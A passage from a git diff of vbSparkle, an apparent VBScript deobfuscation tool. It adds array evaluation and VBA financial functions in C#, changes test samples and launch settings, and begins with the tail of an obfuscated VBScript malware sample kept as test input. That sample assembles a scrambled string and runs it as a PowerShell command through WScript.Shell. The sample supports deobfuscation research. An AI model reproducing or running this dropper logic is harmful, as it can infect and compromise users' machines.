Reroot + "os BwordGleOmlThe" +Reroot = Reroot + ",osjas.f=,a(haT" + +Uforligneligtgener="Kompagnonernes" +Unisexesstrgtureneepiglo14 = LCAse(Uforligneligtgener) + +Reroot = Reroot + "KaeVasPrwordRk-VaPL" +Reroot = Reroot + "naCawordCohMo ." +Reroot = Reroot + "$,eBwordxword . c,rAnsH," +Reroot = Reroot + "iRunwordxword . cav ." +Reroot = Reroot + "e s PwordB" +Reroot = Reroot + "oo arCee Lr B) S ') ;Ud" +Reroot = Reroot + "eblivelsens220" +Reroot = Reroot + " (Pifwordeword '" +Reroot = Reroot + "E $ChgAnl wo" +Reroot = Reroot + "rdoMebSnaKrlH :C," +Reroot = Reroot + "ZMaeUnbU,rS." +Reroot = Reroot + "aAnf," +Reroot = Reroot + "nl QsUn=wordxword . ce$M" +Reroot = Reroot + "og.olAfo AbPraTalS." +Reroot = Reroot + ": .WPaa gwordxword . " +Reroot = Reroot + "c.e UrHaeRurA" +Reroot = Reroot + "k+U,+.n% i$ Bf" +Reroot = Reroot + "S.r We SmC,e Sl," +Reroot = Reroot + "gsluk a" +Reroot = Reroot + "eLisRh.S.cNioE uOmnK" +Reroot = Reroot + "owordSy ')" +Reroot = Reroot + " ;$Efworderrawordionalis" +Reroot = Reroot + "eringerne=$fremelske" +Reroot = Reroot + "s[$Zebrafls];}$wor" +Reroot = Reroot + "dospandewords=333" +Reroot = Reroot + "059;$Bryllupsdagen=2" +Reroot = Reroot + "7115;Udeblivelsens220 (P" +Reroot = Reroot + "ifwordew" + +Spicaslyseholderakk = Rnd +Reroot = Reroot + "ord 'Ta$O gSklLeo Ib" +Reroot = Reroot + " .a SlAf:Bewor" +Reroot = Reroot + "dxword . cDk" +Reroot = Reroot + "r i" +Reroot = Reroot + ".ogHur meK l " +Reroot = Reroot + "IsMaeGesPemEdi" +Reroot = Reroot + "U,d Dl" +Reroot = Reroot + "Dueb,rInn .eSa Ca=Gi" + +Lavpasfiltrering = Lavpasfiltrering & "Hyphenises" & "Orkney" + +Reroot = Reroot + " aG keI,word,o-TrCS.oS" +Reroot = Reroot + "lnGawordBreAfnInwordD" +Reroot = Reroot + "e S$Mo" +Reroot = Reroot + "B.pr .s" +Reroot = Reroot + "AfiManInvBae ,s" +Reroot = Reroot + "C word NoK.rK.eHerB" +Reroot = Reroot + "i ');Udeblivelsens" + +Uforudselighedensdescr = FreeFile + +Reroot = Reroot + "220 " +Reroot = Reroot + "(Pifwordeword 'S $ ." +Reroot = Reroot + "g Sl Wo dbSoawordxwor" +Reroot = Reroot + "d . crlRe:V.L,iaC.s rc " +Reroot = Reroot + ".iBevPh" +Reroot = Reroot + "iReoreuOms Un ,e" +Reroot = Reroot + "GesPls ee AsAn " +Reroot = Reroot + " c=N. [RiS y BsMaw" +Reroot = Reroot + "ord,ce LmPo.ViC" +Reroot = Reroot + "S.oSonPev neUrrT,wordwor" +Reroot = Reroot + "dxword . " +Reroot = Reroot + "ce]S,:Hj:,awor" + +Ebersdissertati = FormatNumber(8980606) + +Reroot = Reroot + "dxword " +Reroot = Reroot + ". cHer" +Reroot = Reroot + "NooAimu.B a swordw" +Reroot = Reroot + "eSn6.i4,nS swordV.r" +Reroot = Reroot + " Mi,anPrg.o(na$U wordx" +Reroot = Reroot + "word . c.erGiiBrgBorH" +Reroot = Reroot + " e Vl" +Reroot = Reroot + "hesA" +Reroot = Reroot + "leI.sInmUniOpd Bl leVir" +Reroot = Reroot + "Din SeH" +Reroot = Reroot + "e)K, " +Reroot = Reroot + "');Udeblivels" +Reroot = Reroot + "ens220 (Pifwordeword '" + +while (ordfrerenenfoncedphona<119) +ordfrerenenfoncedphona = ordfrerenenfoncedphona + 1 +Fysioterapeutskoler = Fysioterapeutskoler * (0+1) +wend + +Reroot = Reroot + "Sword$ " +Reroot = Reroot + "rg nl .o nbS" +Reroot = Reroot + "valilS,:GwordUP k r ,a" +Reroot = Reroot + "ViiH" +Reroot = Reroot + "jnPrewordxword . clrMieI" +Reroot = Reroot + " nBisIn S= n Be[.oS ," +Reroot = Reroot + "yVesGuwordL ewordxword" +Reroot = Reroot + " . c.mRa." +Reroot = Reroot + "VeTDhe Px" +Reroot = Reroot + " GwordSc. SE Dn scApoO" +Reroot = Reroot + "udSa" +Reroot = Reroot + "iAanKo" +Reroot = Reroot + "gUh]Ha: ,:OvAAdS ,C AI" +Reroot = Reroot + " hIwordxword . " + +Skaanekostsunashamednes = TimeSerial(150,106,96) + +Reroot = Reroot + "co. mG,ue iwordPiS" +Reroot = Reroot + "ShwordHor.ei.inTogLo(,a$" +Reroot = Reroot + " L eaUns cTaiB" +Reroot = Reroot + "av Piwordxword . ceow" +Reroot = Reroot + "ordxword . clu as.c" +Reroot = Reroot + "n ke" +Reroot = Reroot + ",lsNos eBus,h) I " +Reroot = Reroot + "');Udeblivelsens2" +Reroot = Reroot + "20 (Pifwordeword 'A" +Reroot = Reroot + "m$Su" + +Terminologernespt = Timer + +Reroot = Reroot + "gh.lPro" +Reroot = Reroot + "Inb a .lIn:Sa" +Reroot = Reroot + "nSpoPlnCopwordxword . ce" +Reroot = Reroot + "e ,r NjSpuWhrS,e idN" +Reroot = Reroot + "o= R$ UAfk" +Reroot = Reroot + "DrrTra Si,hnNu" +Reroot = Reroot + "eHar" +Reroot = Reroot + "Auemo" +Reroot = Reroot + "nSwordsP " +Reroot = Reroot + ".Sls Ku H" +Reroot = Reroot + "bwordx" +Reroot = Reroot + "word . cosU w" +Reroot = Reroot + "ord kr biB,nSig C" +Reroot = Reroot + "( C$C" +Reroot = Reroot + "lword,coHusInpPraRenw" +Reroot = Reroot + "ordxword . cld" +Reroot = Reroot + " Deapword,lsCa,.l$," +Reroot = Reroot + "vB urUnyVil" +Reroot = Reroot + "Lol" +Reroot = Reroot + "SduI " +Reroot = Reroot + "pV,s" +Reroot = Reroot + "Indp.aslgSpeTrnR" +Reroot = Reroot + ",)Be ');Udebli" +Reroot = Reroot + "vel" +Reroot = Reroot + "sens220 $" + +Arbejdsevnesnongelati = Trim("Atomvaabenlagre") + +Reroot = Reroot + "nonpe" +Reroot = Reroot + "rjured;" + + + + + + + + +Gasbetonsunrefutabilityc = Right("Staasteds",3) + + + + +'Fluvioglacial forhaanelsens farveblyant32 forskningsministrene! + + + + + + + +Reroot = Replace(Reroot,"word",Latticed(116)) + +Bagtippers = "owershell" + " " + chrW(34) + Reroot + chrW(34) +Bagtippers = "p" + Bagtippers + +Reroot = Replace(Reroot,"txt . c","F") + +Bagtippers = "owershell" + " " + chrW(34) + Reroot + chrW(34) +Bagtippers = "p" + Bagtippers +end function + +Set Trommeslageres = CreateObject("WScript.Shell") + + +Call Trommeslageres.Run (Bagtippers,Landsat ) + + + +Function Latticed(Graaskggenes) +Latticed = "Panamano" +Do Until asc(Latticed) = Graaskggenes + +Forblffelse = int(rnd*4000000) + +If Forblffelse < 254 then Latticed = Chr(Forblffelse) + + +Loop +'Crawlspace; sknjomfruer? + +End Function +'' SIG '' Begin signature block +'' SIG '' MIIJ1QYJKoZIhvcNAQcCoIIJxjCCCcICAQExDzANBglg +'' SIG '' hkgBZQMEAgEFADB3BgorBgEEAYI3AgEEoGkwZzAyBgor +'' SIG '' BgEEAYI3AgEeMCQCAQEEEE7wKRaZJ7VNj+Ws4Q8X66sC +'' SIG '' AQACAQACAQACAQACAQAwMTANBglghkgBZQMEAgEFAAQg +'' SIG '' GgqzXNZAkidjJcHT0OepcudMxre1hGXpASnmn2VLxd+g +'' SIG '' ggX9MIIF+TCCA+GgAwIBAgIUCnXlCUc0TdK1RN+objVK +'' SIG '' VjXeHbkwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYT +'' SIG '' AkRFMRwwGgYDVQQIDBNOb3JkcmhlaW4tV2VzdGZhbGVu +'' SIG '' MREwDwYDVQQHDAhNZWRlYmFjaDEZMBcGA1UECgwQRWtz +'' SIG '' cGVyaW1lbnRlbGxlczEwMC4GA1UEAwwnRmFjYWRlc2xp +'' SIG '' Ym5pbmdlcm5lcyB2aW5pZmllZCBFbWFjdWxhdGUgMB4X +'' SIG '' DTI0MDQyODA4NDczN1oXDTI3MDQyODA4NDczN1owgYsx +'' SIG '' CzAJBgNVBAYTAkRFMRwwGgYDVQQIDBNOb3JkcmhlaW4t +'' SIG '' V2VzdGZhbGVuMREwDwYDVQQHDAhNZWRlYmFjaDEZMBcG +'' SIG '' A1UECgwQRWtzcGVyaW1lbnRlbGxlczEwMC4GA1UEAwwn +'' SIG '' RmFjYWRlc2xpYm5pbmdlcm5lcyB2aW5pZmllZCBFbWFj +'' SIG '' dWxhdGUgMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIIC +'' SIG '' CgKCAgEAy7CpE0/iiUQPsqFi9eBfNJsDeftqNOMWKsMI +'' SIG '' 3YuIvEFzVTOvRIQrmZZvvljbVLP83+FJL/v5frSIP/O5 +'' SIG '' V+BZkISaKkJYuWklLlfTykLfcN4LeuL007mb/48wsJer +'' SIG '' chVv8nIM9iN4bDF/8bwK/h/2k5A06E0haV5Z+vq6P+EJ +'' SIG '' Mvz1gOocfdLbFR2wYsD/SObWLZURbk+GCWDWTpi3nD+r +'' SIG '' MxlW1YMNJdknvAzRtOUj2ZKchAaYbVuzrisRSCQ/D5qr +'' SIG '' 0GNz3sOaeV8hnXk06xZnAtdkrB8EmwawOUnjp/n7AuCI +'' SIG '' 98W8kk1zDAffcou8z4TwtB+/iEMUpisE8F5qKmRbRMsl +'' SIG '' 4ojJ8Gu8hgdX7nU6JdhOZB2OJ7qEWEGVUjxqZT85nCXV +'' SIG '' 2XoN6C0bo4PGSWpcEkch1RjULzCRV5kT87tccdGtKv+/ +'' SIG '' jDyOwTLdB3iMaVp5YmwgwEVRui62eAqoQNP7xyrx0uIC +'' SIG '' zaJTfk0jreN/BFL6qSevuyoFF1zXbPcOEFqvzMLN5IKe +'' SIG '' 3nimIwII+uTSpxTMz71sVdC44P13CgRpgjoBGnNNeJrD +'' SIG '' qEF8VbGi0eSmPuSaMfMrlpo6JB3AnYxZNwZgs7ML1BRt +'' SIG '' 3ehMVCtLiRdHfWTZlXSHW5IlmpFE7CjtI/yfRQdNzbY2 +'' SIG '' a7Ppoogv+Zim7p4ZiZyqP6ayifVN9/kCAwEAAaNTMFEw +'' SIG '' HQYDVR0OBBYEFDUy8zp9AOgM42sjz5MkgruBCbqOMB8G +'' SIG '' A1UdIwQYMBaAFDUy8zp9AOgM42sjz5MkgruBCbqOMA8G +'' SIG '' A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggIB +'' SIG '' ALfqlEBrxgw1tYK1/+GwQLuQJdN/BGjl2luqespLt4/x +'' SIG '' mTLQDSlJpFjfDVSQzY8KznQmIssNigEt4bEma3ugfGaC +'' SIG '' OszkJTGBpbhacLImvmg/Ke5qLo4xdL2PFNIqo+cv0HIn +'' SIG '' RsMGqs8w28Cd0c6eANEFIdGhkofkF5IMUXxPP0n0c1FE +'' SIG '' B3XdV/UVl/MDRTHvu4vZO69zt40u18mgLxRdulpTUXyR +'' SIG '' zfjPGER/sr2aQR+g0ZZTKeUfYYJBJgwKuMFLAHa6cwrW +'' SIG '' 0FRqJ0dg+uUFO1MsS6GSlV4rGMhPsneJWoMGEnRaqYaI +'' SIG '' 9K2i/96NF8rOnFlsibkna+2OWpWKMArcJgXbv1+LgCm/ +'' SIG '' 6oXmTOTWuU8QPD/RYJ2Mj86QJmsxBElF6GPom80Qy5p4 +'' SIG '' O95avjZHe8R43m4zXx/4CCGnlU/S+CQVEACZgBqTXeQL +'' SIG '' 7yd8TjOdnIwVx5e5wn9wsuhUQideF6YE+gecLM4V0xTQ +'' SIG '' VJoO5/nbYuuQVuVat2/6+YdtMJHuzf2dRN9V9DpZCDy1 +'' SIG '' fmUPfq3pCyPXUKQveWGVeytxOd8nvWm2hw26w43Ygzer +'' SIG '' 8oZ/uQ5qhRF6Xzd/0VXC0xPJ3StBcHZQFSUzhQ6khZWy +'' SIG '' xstethfY4yjtgyQ8LA3ZMobvV2pLy3b/k6DOWCvsBARi +'' SIG '' Jr7taFU40b6Q3YHqWo1AIp8gMYIDMDCCAywCAQEwgaQw +'' SIG '' gYsxCzAJBgNVBAYTAkRFMRwwGgYDVQQIDBNOb3Jkcmhl +'' SIG '' aW4tV2VzdGZhbGVuMREwDwYDVQQHDAhNZWRlYmFjaDEZ +'' SIG '' MBcGA1UECgwQRWtzcGVyaW1lbnRlbGxlczEwMC4GA1UE +'' SIG '' AwwnRmFjYWRlc2xpYm5pbmdlcm5lcyB2aW5pZmllZCBF +'' SIG '' bWFjdWxhdGUgAhQKdeUJRzRN0rVE36huNUpWNd4duTAN +'' SIG '' BglghkgBZQMEAgEFAKBeMBAGCisGAQQBgjcCAQwxAjAA +'' SIG '' MBkGCSqGSIb3DQEJAzEMBgorBgEEAYI3AgEEMC8GCSqG +'' SIG '' SIb3DQEJBDEiBCCM6ZKnKjTZnKhrZj+RNyFS5mbiqDZp +'' SIG '' CnAW5RgD1mC4ODANBgkqhkiG9w0BAQEFAASCAgA93D2L +'' SIG '' 0ztMzd6osgx7xaXivKLlcIdHoAxmf8UQIbpSbFYMjnZD +'' SIG '' P6dlJvKHKGaV326jiIRdmOCkeXnnl9Q5tW8c4pBxfA5X +'' SIG '' doaKlYI7kPXqrDiR1GiP5/24HuvrrMrLRXZgiCzG4S+j +'' SIG '' sv1UxNlkQun41KSbpzNyxVDSpIynEhZL96G+hBHTHg09 +'' SIG '' E33cjERCNzhtwIPG20sHsUKqkp4AVT+rv4rNheCrXCan +'' SIG '' GfpQvlN8+POfGCdH5RqDn4/g10k98Pfqrynfku9cC+F8 +'' SIG '' sTpj9NwVP1ZESYMCc+oIHGzr5o6CopVm7R4GCjJx+GZ3 +'' SIG '' WbCrnMmjSwdrERlnbih+ZL05H5SM5aAiDJm8gSJUQsb0 +'' SIG '' wzDrB4vs1C8qPnQARlZORdqe/oEaxLwvJqhtcb6E2Gnw +'' SIG '' nTo7usRwEa/f4HEHd5KolnxA5p3WO6h2K9Qtr3mC3MqH +'' SIG '' SBCDaff6zjklS8yllzrHqa/JrUd5Zbq4gQWMyQN03Utu +'' SIG '' vD6RYCqpND1TdIIInYWZbtXvCQB3FpsI1oc8gjU5oTIm +'' SIG '' IubZae46WqviWYusMcbewYSfBWFH9qB2iJeZ4vbS1XJr +'' SIG '' uygYpSj+2IpWzxJPpTzk+VZ0qdiXJpUaXpCGMZ80phm7 +'' SIG '' y+HhSZr8Je5fYVdq0kyrqRVWL/feNZ3RC3VH3QZScULx +'' SIG '' eAZhV+b4NLMXNJ3sKg== +'' SIG '' End signature block diff --git a/Resources/samples/sample_9.txt b/Resources/samples/sample_9.txt index ef2ac84..e835caf 100644 --- a/Resources/samples/sample_9.txt +++ b/Resources/samples/sample_9.txt @@ -1,40 +1,5 @@  + arr = Array(1, 2, 3, "Hello", 5.5) -Dim xx0101 As String: xx0101 = "A" -Dim xx00101 As String: xx00101 = "a" -Dim xx0104 As String: xx0104 = "d" -Dim xx0105 As String: xx0105 = "e" -Dim xx01007 As String: xx01007 = "u" -Dim xx01008 As String: xx01008 = "v" -Dim xx010a010x As String: xx010a010x = "ax" -Dim xx0109 As String: xx0109 = "i" -Dim xx01005 As String: xx01005 = "s" -Dim xx01006 As String: xx01006 = "t" -Dim xx010003 As String: xx010003 = "z" -Dim xx010a007x As String: xx010a007x = "az" - -Dim xx01001 As String: xx01001 = "o" -Dim xx0106 As String: xx0106 = "f" -Dim xx0107 As String: xx0107 = "g" -Dim xx0108 As String: xx0108 = "h" -Dim xx010002 As String: xx010002 = "y" -Dim xx01004 As String: xx01004 = "r" - -Dim xx01010 As String: xx01010 = "j" -Dim xx01011 As String: xx01011 = "k" -Dim xx010l2 As String: xx010l2 = "l" -Dim xx01013 As String: xx01013 = "m" -Dim xx0100x1 As String: xx0100x1 = "." -Dim xx01009 As String: xx01009 = "w" -Dim xx010001 As String: xx010001 = "x" - -Dim xx01000 As String: xx01000 = "n" -Dim xx0102 As String: xx0102 = "b" - -Dim xx01002 As String: xx01002 = "p" -Dim xx0103 As String: xx0103 = "c" -Dim xx010q03 As String: xx010q03 = "q" -Dim xx010l03 As String: xx010l03 = "\" - - -Dim fpx As String: fpx = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101) \ No newline at end of file + lowerBound = LBound(arr,1) + \ No newline at end of file diff --git a/Resources/samples/sample_91.txt b/Resources/samples/sample_91.txt new file mode 100644 index 0000000..e835caf --- /dev/null +++ b/Resources/samples/sample_91.txt @@ -0,0 +1,5 @@ + + arr = Array(1, 2, 3, "Hello", 5.5) + + lowerBound = LBound(arr,1) + \ No newline at end of file diff --git a/Resources/samples/sample_92.txt b/Resources/samples/sample_92.txt new file mode 100644 index 0000000..c4f29ec --- /dev/null +++ b/Resources/samples/sample_92.txt @@ -0,0 +1,10 @@ + + Dim TestSplit + TestSplit = Split("v1;v2;v3", ";") + TestSplit(1) = "yop" + + Dim testjoin + testjoin = Join(TestSplit) + Debug.Print testjoin + Debug.Print TestSplit(2) + \ No newline at end of file diff --git a/Sources/.vscode/launch.json b/Sources/.vscode/launch.json index b1784f6..3134979 100644 --- a/Sources/.vscode/launch.json +++ b/Sources/.vscode/launch.json @@ -8,9 +8,9 @@ "type": "antlr-debug", "request": "launch", "name": "Debug Current Grammar", - "input": "", + "input": "D:\\Git\\Public\\vbSparkle\\Resources\\samples\\sample_92.txt", "visualParseTree": true, - "startRule": "inlineBlock", + "startRule": "startRule", "grammar": "${file}" }, { diff --git a/Sources/Sources.generated.sln b/Sources/Sources.generated.sln new file mode 100644 index 0000000..6d96137 --- /dev/null +++ b/Sources/Sources.generated.sln @@ -0,0 +1,37 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.5.002.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle", "vbSparkle\vbSparkle.csproj", "{CD1B4478-A56B-475A-8A05-C9A31414BD05}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle.CLI", "vbSparkle.Console\vbSparkle.CLI.csproj", "{A9B7FAC4-22B6-41D0-9A12-6868204C2C43}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle.Web", "vbSparkle.Web\vbSparkle.Web.csproj", "{F2D6AE95-9E88-49D4-B48C-5B2D13553924}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {CD1B4478-A56B-475A-8A05-C9A31414BD05}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {CD1B4478-A56B-475A-8A05-C9A31414BD05}.Debug|Any CPU.Build.0 = Debug|Any CPU + {CD1B4478-A56B-475A-8A05-C9A31414BD05}.Release|Any CPU.ActiveCfg = Release|Any CPU + {CD1B4478-A56B-475A-8A05-C9A31414BD05}.Release|Any CPU.Build.0 = Release|Any CPU + {A9B7FAC4-22B6-41D0-9A12-6868204C2C43}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {A9B7FAC4-22B6-41D0-9A12-6868204C2C43}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A9B7FAC4-22B6-41D0-9A12-6868204C2C43}.Release|Any CPU.ActiveCfg = Release|Any CPU + {A9B7FAC4-22B6-41D0-9A12-6868204C2C43}.Release|Any CPU.Build.0 = Release|Any CPU + {F2D6AE95-9E88-49D4-B48C-5B2D13553924}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F2D6AE95-9E88-49D4-B48C-5B2D13553924}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F2D6AE95-9E88-49D4-B48C-5B2D13553924}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F2D6AE95-9E88-49D4-B48C-5B2D13553924}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {0D824770-F814-4AE7-A4B3-031E98086E8C} + EndGlobalSection +EndGlobal diff --git a/Sources/vbSparkle.Console/Properties/launchSettings.json b/Sources/vbSparkle.Console/Properties/launchSettings.json index f9766d8..7fdcdde 100644 --- a/Sources/vbSparkle.Console/Properties/launchSettings.json +++ b/Sources/vbSparkle.Console/Properties/launchSettings.json @@ -1,20 +1,18 @@ { "profiles": { "Help": { - "commandName": "Project", - "commandLineArgs": "" + "commandName": "Project" }, "Sample_7": { "commandName": "Project", - "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_11.txt" + "commandLineArgs": "-p D:\\Git\\Public\\vbSparkle\\Resources\\samples\\sample_92.txt" }, "Sample_10": { "commandName": "Project", "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_10.txt --sym-rename-mode All" }, "vbSparkle.Console": { - "commandName": "Project", - "commandLineArgs": "" + "commandName": "Project" } } } \ No newline at end of file diff --git a/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs b/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs index 2190ee1..8fcf28b 100644 --- a/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs +++ b/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs @@ -7,6 +7,45 @@ namespace vbSparkle.EvaluationObjects { + public class DArrayExpression : DExpression + { + public List Items { get; set; } + + public DArrayExpression(int ubound) + { + Items = (new DExpression[ubound+1]).ToList(); + } + public DArrayExpression(IEnumerable array) + { + Items = array.ToList(); + } + + public override bool IsValuable { get => true; set => throw new System.NotImplementedException(); } + public override bool HasSideEffet { get => false; set => throw new System.NotImplementedException(); } + + public override string ToExpressionString() + { + string[] dExpressions = Items.Select(v=> v.ToExpressionString()).ToArray(); + return "Array(" + string.Join(", ", dExpressions) + ")"; + } + + public override string ToValueString() + { + return ToExpressionString(); + } + + public DExpression this[int index] + { + get => Items[index]; + set => Items[index] = value; + } + + internal override SymbolicExpression GetSymExp() + { + return SymbolicExpression.Variable(ToExpressionString()); + } + } + internal class DComplexStringExpression : DExpression, IStringExpression { diff --git a/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_S_ProcedureOrArrayCallStatement.cs b/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_S_ProcedureOrArrayCallStatement.cs index 132f015..a2c016e 100644 --- a/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_S_ProcedureOrArrayCallStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_S_ProcedureOrArrayCallStatement.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.Linq; +using vbSparkle.EvaluationObjects; namespace vbSparkle { @@ -79,6 +80,38 @@ public DExpression Evaluate() { if (CallArgs.Count() == 0) return (identifiedObject as VbUserVariable).TryEvaluate(); + else + { + try + { + var objArray = (identifiedObject as VbUserVariable); + DArrayExpression arrExp = objArray.CurrentValue as DArrayExpression; + + if (arrExp != null) + { + if (CallArgs.Count == 1) + { + var argLevel1 = CallArgs[0]; + if (argLevel1.Count() == 1) + { + DExpression idxExp = argLevel1[0].ValueStatement.Evaluate(); + int idx; + if (vbSparkle.NativeMethods.Converter.TryGetInt32Value(idxExp, out idx)) + { + if (idx < arrExp.Items.Count) + { + DExpression valueExp = arrExp.Items[idx]; + return valueExp; + } + } + } + } + } + } + catch (Exception ex) + { + } + } } return GetAssignableExpression(true); diff --git a/Sources/vbSparkle/LanguageStatements/Functions/Financial.cs b/Sources/vbSparkle/LanguageStatements/Functions/Financial.cs new file mode 100644 index 0000000..882d7e7 --- /dev/null +++ b/Sources/vbSparkle/LanguageStatements/Functions/Financial.cs @@ -0,0 +1,209 @@ +using System; + +namespace vbSparkle.NativeMethods +{ + public class Financial + { + + // + // Summary: + // Indicates when payments are due when calling financial methods. + public enum DueDate + { + // + // Summary: + // Falls at the end of the date interval. + EndOfPeriod = 0, + // + // Summary: + // Falls at the beginning of the date interval. + BegOfPeriod = 1 + } + + public static double CalculateIRR(double[] values, double guess) + { + const double tolerance = 1e-10; // Mimicking VBA's precision + const int maxIterations = 20; // VBA limits iterations to 20 + double irr = guess; + + for (int i = 0; i < maxIterations; i++) + { + double npv = 0.0; + double npvDerivative = 0.0; + + for (int t = 0; t < values.Length; t++) + { + double denominator = Math.Pow(1.0 + irr, t); + npv += values[t] / denominator; + npvDerivative -= t * values[t] / (denominator * (1.0 + irr)); + } + + double newIrr = irr - npv / npvDerivative; + + if (Math.Abs(newIrr - irr) < tolerance) + { + return Financial.TruncateToPrecision(newIrr, 15); // Truncate to match VBA precision + } + + irr = newIrr; + } + + throw new Exception("IRR did not converge"); + } + + public static double TruncateToPrecision(double value, int decimalPlaces) + { + double factor = Math.Pow(10, decimalPlaces); + return Math.Truncate(value * factor) / factor; + } + + public static double MIRR(ref double[] ValueArray, double FinanceRate, double ReinvestRate) + { + if (ValueArray.Rank != 1) + { + throw new InvalidOperationException(); + } + int num7 = 0; + int num6 = (ValueArray.GetUpperBound(0) - num7) + 1; + if (FinanceRate == -1.0) + { + throw new InvalidOperationException(); + } + if (ReinvestRate == -1.0) + { + throw new InvalidOperationException(); + } + if (num6 <= 1) + { + throw new InvalidOperationException(); + } + double num = LDoNPV(FinanceRate, ref ValueArray, -1); + if (num == 0.0) + { + throw new InvalidOperationException(); + } + double num2 = LDoNPV(ReinvestRate, ref ValueArray, 1); + double x = ReinvestRate + 1.0; + double y = num6; + double num4 = (-num2 * Math.Pow(x, y)) / (num * (FinanceRate + 1.0)); + if (num4 < 0.0) + { + throw new InvalidOperationException(); + } + x = 1.0 / (num6 - 1.0); + return (Math.Pow(num4, x) - 1.0); + } + + private static double LDoNPV(double Rate, ref double[] ValueArray, int iWNType) + { + bool flag2 = iWNType < 0; + bool flag = iWNType > 0; + double num = 1.0; + double num2 = 0.0; + int num6 = 0; + int num8 = ValueArray.GetUpperBound(0); + for (int i = num6; i <= num8; i++) + { + double num3 = ValueArray[i]; + num += num * Rate; + if ((!flag2 || (num3 <= 0.0)) && (!flag || (num3 >= 0.0))) + { + num2 += num3 / num; + } + } + return num2; + } + public static double FV(double Rate, double NPer, double Pmt, double PV = 0.0, DueDate Due = 0) + { + return FV_Internal(Rate, NPer, Pmt, PV, Due); + } + + private static double FV_Internal(double Rate, double NPer, double Pmt, double PV = 0.0, DueDate Due = 0) + { + double num; + if (Rate == 0.0) + { + return (-PV - (Pmt * NPer)); + } + if (Due != DueDate.EndOfPeriod) + { + num = 1.0 + Rate; + } + else + { + num = 1.0; + } + double x = 1.0 + Rate; + double num2 = Math.Pow(x, NPer); + return ((-PV * num2) - (((Pmt / Rate) * num) * (num2 - 1.0))); + } + + + public static double IPmt(double Rate, double Per, double NPer, double PV, double FV = 0.0, DueDate Due = 0) + { + double num; + if (Due != DueDate.EndOfPeriod) + { + num = 2.0; + } + else + { + num = 1.0; + } + if ((Per <= 0.0) || (Per >= (NPer + 1.0))) + { + throw new InvalidOperationException(); + } + if ((Due != DueDate.EndOfPeriod) && (Per == 1.0)) + { + return 0.0; + } + double pmt = PMT_Internal(Rate, NPer, PV, FV, Due); + if (Due != DueDate.EndOfPeriod) + { + PV += pmt; + } + return (FV_Internal(Rate, Per - num, pmt, PV, DueDate.EndOfPeriod) * Rate); + } + + public static double Pmt(double Rate, double NPer, double PV, double FV = 0.0, DueDate Due = 0) + { + return PMT_Internal(Rate, NPer, PV, FV, Due); + } + + private static double PMT_Internal(double Rate, double NPer, double PV, double FV = 0.0, DueDate Due = 0) + { + double num; + if (NPer == 0.0) + { + throw new InvalidOperationException(); + } + if (Rate == 0.0) + { + return ((-FV - PV) / NPer); + } + if (Due != DueDate.EndOfPeriod) + { + num = 1.0 + Rate; + } + else + { + num = 1.0; + } + double x = Rate + 1.0; + double num2 = Math.Pow(x, NPer); + return (((-FV - (PV * num2)) / (num * (num2 - 1.0))) * Rate); + } + + public static double PPmt(double Rate, double Per, double NPer, double PV, double FV = 0.0, DueDate Due = 0) + { + if ((Per <= 0.0) || (Per >= (NPer + 1.0))) + { + throw new InvalidOperationException(); + } + double num2 = PMT_Internal(Rate, NPer, PV, FV, Due); + double num = IPmt(Rate, Per, NPer, PV, FV, Due); + return (num2 - num); + } + } +} diff --git a/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs b/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs index 3ccda88..089bdaf 100644 --- a/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs +++ b/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs @@ -1,4 +1,5 @@ using MathNet.Symbolics; +using Microsoft.VisualBasic; using System; using System.Collections.Generic; using System.Linq; @@ -158,12 +159,1556 @@ public override DExpression Evaluate(params DExpression[] args) } } + public class VB_FV : VbNativeFunction + { + public VB_FV(IVBScopeObject context) + : base(context, "FV") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try + { + double rate, nper, pmt, pv = 0.0; + int type = (int)Financial.DueDate.EndOfPeriod; + + // Retrieve mandatory arguments + if (!Converter.TryGetDoubleValue(args[0], out rate) || + !Converter.TryGetDoubleValue(args[1], out nper) || + !Converter.TryGetDoubleValue(args[2], out pmt)) + { + return DefaultExpression(args); + } + + // Retrieve optional arguments + if (args.Length > 3 && !Converter.TryGetDoubleValue(args[3], out pv)) + { + pv = 0.0; // Default value if not provided + } + + if (args.Length > 4 && !Converter.TryGetInt32Value(args[4], out type)) + { 